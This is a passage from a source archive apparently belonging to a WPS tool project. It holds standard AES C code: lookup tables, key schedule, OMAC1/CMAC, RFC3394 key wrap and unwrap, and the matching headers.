0xa8b92db6U, 0xa9c8141eU, 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, }; const u32 Td3[256] = { 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, }; const u32 Td4[256] = { 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, }; const u32 rcon[] = { 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ }; #else /* AES_SMALL_TABLES */ const u8 Td4s[256] = { 0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U, 0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU, 0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U, 0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU, 0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU, 0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU, 0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U, 0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U, 0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U, 0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U, 0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU, 0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U, 0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU, 0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U, 0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U, 0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU, 0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU, 0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U, 0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U, 0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU, 0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U, 0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU, 0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U, 0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U, 0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U, 0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU, 0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU, 0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU, 0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U, 0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U, 0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U, 0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU, }; const u8 rcons[] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ }; #endif /* AES_SMALL_TABLES */ /** * Expand the cipher key into the encryption key schedule. * * @return the number of rounds for the given cipher key size. */ void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]) { int i; u32 temp; rk[0] = GETU32(cipherKey ); rk[1] = GETU32(cipherKey + 4); rk[2] = GETU32(cipherKey + 8); rk[3] = GETU32(cipherKey + 12); for (i = 0; i < 10; i++) { temp = rk[3]; rk[4] = rk[0] ^ TE421(temp) ^ TE432(temp) ^ TE443(temp) ^ TE414(temp) ^ RCON(i); rk[5] = rk[1] ^ rk[4]; rk[6] = rk[2] ^ rk[5]; rk[7] = rk[3] ^ rk[6]; rk += 4; } } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-omac1.c000077500000000000000000000057521363372615500213450ustar00rootroot00000000000000/* * One-key CBC MAC (OMAC1) hash with AES-128 * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" static void gf_mulx(u8 *pad) { int i, carry; carry = pad[0] & 0x80; for (i = 0; i < AES_BLOCK_SIZE - 1; i++) pad[i] = (pad[i] << 1) | (pad[i + 1] >> 7); pad[AES_BLOCK_SIZE - 1] <<= 1; if (carry) pad[AES_BLOCK_SIZE - 1] ^= 0x87; } /** * omac1_aes_128_vector - One-Key CBC MAC (OMAC1) hash with AES-128 * @key: 128-bit key for the hash operation * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) * Returns: 0 on success, -1 on failure * * This is a mode for using block cipher (AES in this case) for authentication. * OMAC1 was standardized with the name CMAC by NIST in a Special Publication * (SP) 800-38B. */ int omac1_aes_128_vector(const u8 *key, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { void *ctx; u8 cbc[AES_BLOCK_SIZE], pad[AES_BLOCK_SIZE]; const u8 *pos, *end; size_t i, e, left, total_len; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memset(cbc, 0, AES_BLOCK_SIZE); total_len = 0; for (e = 0; e < num_elem; e++) total_len += len[e]; left = total_len; e = 0; pos = addr[0]; end = pos + len[0]; while (left >= AES_BLOCK_SIZE) { for (i = 0; i < AES_BLOCK_SIZE; i++) { cbc[i] ^= *pos++; if (pos >= end) { e++; pos = addr[e]; end = pos + len[e]; } } if (left > AES_BLOCK_SIZE) aes_encrypt(ctx, cbc, cbc); left -= AES_BLOCK_SIZE; } os_memset(pad, 0, AES_BLOCK_SIZE); aes_encrypt(ctx, pad, pad); gf_mulx(pad); if (left || total_len == 0) { for (i = 0; i < left; i++) { cbc[i] ^= *pos++; if (pos >= end) { e++; pos = addr[e]; end = pos + len[e]; } } cbc[left] ^= 0x80; gf_mulx(pad); } for (i = 0; i < AES_BLOCK_SIZE; i++) pad[i] ^= cbc[i]; aes_encrypt(ctx, pad, mac); aes_encrypt_deinit(ctx); return 0; } /** * omac1_aes_128 - One-Key CBC MAC (OMAC1) hash with AES-128 (aka AES-CMAC) * @key: 128-bit key for the hash operation * @data: Data buffer for which a MAC is determined * @data_len: Length of data buffer in bytes * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) * Returns: 0 on success, -1 on failure * * This is a mode for using block cipher (AES in this case) for authentication. * OMAC1 was standardized with the name CMAC by NIST in a Special Publication * (SP) 800-38B. */ int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac) { return omac1_aes_128_vector(key, 1, &data, &data_len, mac); } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-unwrap.c000077500000000000000000000035541363372615500216570ustar00rootroot00000000000000/* * AES key unwrap (128-bit KEK, RFC3394) * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_unwrap - Unwrap key with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * @kek: Key encryption key (KEK) * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 * bytes * @cipher: Wrapped key to be unwrapped, (n + 1) * 64 bits * @plain: Plaintext key, n * 64 bits * Returns: 0 on success, -1 on failure (e.g., integrity verification failed) */ int aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain) { u8 a[8], *r, b[16]; int i, j; void *ctx; /* 1) Initialize variables. */ os_memcpy(a, cipher, 8); r = plain; os_memcpy(r, cipher + 8, 8 * n); ctx = aes_decrypt_init(kek, 16); if (ctx == NULL) return -1; /* 2) Compute intermediate values. * For j = 5 to 0 * For i = n to 1 * B = AES-1(K, (A ^ t) | R[i]) where t = n*j+i * A = MSB(64, B) * R[i] = LSB(64, B) */ for (j = 5; j >= 0; j--) { r = plain + (n - 1) * 8; for (i = n; i >= 1; i--) { os_memcpy(b, a, 8); b[7] ^= n * j + i; os_memcpy(b + 8, r, 8); aes_decrypt(ctx, b, b); os_memcpy(a, b, 8); os_memcpy(r, b + 8, 8); r -= 8; } } aes_decrypt_deinit(ctx); /* 3) Output results. * * These are already in @plain due to the location of temporary * variables. Just verify that the IV matches with the expected value. */ for (i = 0; i < 8; i++) { if (a[i] != 0xa6) return -1; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/aes-wrap.c000077500000000000000000000033331363372615500213070ustar00rootroot00000000000000/* * AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_wrap - Wrap keys with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * @kek: 16-octet Key encryption key (KEK) * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 * bytes * @plain: Plaintext key to be wrapped, n * 64 bits * @cipher: Wrapped key, (n + 1) * 64 bits * Returns: 0 on success, -1 on failure */ int aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher) { u8 *a, *r, b[16]; int i, j; void *ctx; a = cipher; r = cipher + 8; /* 1) Initialize variables. */ os_memset(a, 0xa6, 8); os_memcpy(r, plain, 8 * n); ctx = aes_encrypt_init(kek, 16); if (ctx == NULL) return -1; /* 2) Calculate intermediate values. * For j = 0 to 5 * For i=1 to n * B = AES(K, A | R[i]) * A = MSB(64, B) ^ t where t = (n*j)+i * R[i] = LSB(64, B) */ for (j = 0; j <= 5; j++) { r = cipher + 8; for (i = 1; i <= n; i++) { os_memcpy(b, a, 8); os_memcpy(b + 8, r, 8); aes_encrypt(ctx, b, b); os_memcpy(a, b, 8); a[7] ^= n * j + i; os_memcpy(r, b + 8, 8); r += 8; } } aes_encrypt_deinit(ctx); /* 3) Output the results. * * These are already in @cipher due to the location of temporary * variables. */ return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/aes.h000077500000000000000000000014011363372615500203370ustar00rootroot00000000000000/* * AES functions * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_H #define AES_H #define AES_BLOCK_SIZE 16 void * aes_encrypt_init(const u8 *key, size_t len); void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); void aes_encrypt_deinit(void *ctx); void * aes_decrypt_init(const u8 *key, size_t len); void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); void aes_decrypt_deinit(void *ctx); #endif /* AES_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/aes_i.h000077500000000000000000000075641363372615500206670ustar00rootroot00000000000000/* * AES (Rijndael) cipher * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_I_H #define AES_I_H #include "aes.h" /* #define FULL_UNROLL */ #define AES_SMALL_TABLES extern const u32 Te0[256]; extern const u32 Te1[256]; extern const u32 Te2[256]; extern const u32 Te3[256]; extern const u32 Te4[256]; extern const u32 Td0[256]; extern const u32 Td1[256]; extern const u32 Td2[256]; extern const u32 Td3[256]; extern const u32 Td4[256]; extern const u32 rcon[10]; extern const u8 Td4s[256]; extern const u8 rcons[10]; #ifndef AES_SMALL_TABLES #define RCON(i) rcon[(i)] #define TE0(i) Te0[((i) >> 24) & 0xff] #define TE1(i) Te1[((i) >> 16) & 0xff] #define TE2(i) Te2[((i) >> 8) & 0xff] #define TE3(i) Te3[(i) & 0xff] #define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000) #define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000) #define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00) #define TE44(i) (Te4[(i) & 0xff] & 0x000000ff) #define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000) #define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000) #define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00) #define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff) #define TE4(i) (Te4[(i)] & 0x000000ff) #define TD0(i) Td0[((i) >> 24) & 0xff] #define TD1(i) Td1[((i) >> 16) & 0xff] #define TD2(i) Td2[((i) >> 8) & 0xff] #define TD3(i) Td3[(i) & 0xff] #define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000) #define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000) #define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00) #define TD44(i) (Td4[(i) & 0xff] & 0x000000ff) #define TD0_(i) Td0[(i) & 0xff] #define TD1_(i) Td1[(i) & 0xff] #define TD2_(i) Td2[(i) & 0xff] #define TD3_(i) Td3[(i) & 0xff] #else /* AES_SMALL_TABLES */ #define RCON(i) (rcons[(i)] << 24) static inline u32 rotr(u32 val, int bits) { return (val >> bits) | (val << (32 - bits)); } #define TE0(i) Te0[((i) >> 24) & 0xff] #define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8) #define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16) #define TE3(i) rotr(Te0[(i) & 0xff], 24) #define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000) #define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000) #define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00) #define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff) #define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000) #define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000) #define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00) #define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff) #define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff) #define TD0(i) Td0[((i) >> 24) & 0xff] #define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8) #define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16) #define TD3(i) rotr(Td0[(i) & 0xff], 24) #define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24) #define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16) #define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8) #define TD44(i) (Td4s[(i) & 0xff]) #define TD0_(i) Td0[(i) & 0xff] #define TD1_(i) rotr(Td0[(i) & 0xff], 8) #define TD2_(i) rotr(Td0[(i) & 0xff], 16) #define TD3_(i) rotr(Td0[(i) & 0xff], 24) #endif /* AES_SMALL_TABLES */ #ifdef _MSC_VER #define SWAP(x) (_lrotl(x, 8) & 0x00ff00ff | _lrotr(x, 8) & 0xff00ff00) #define GETU32(p) SWAP(*((u32 *)(p))) #define PUTU32(ct, st) { *((u32 *)(ct)) = SWAP((st)); } #else #define GETU32(pt) 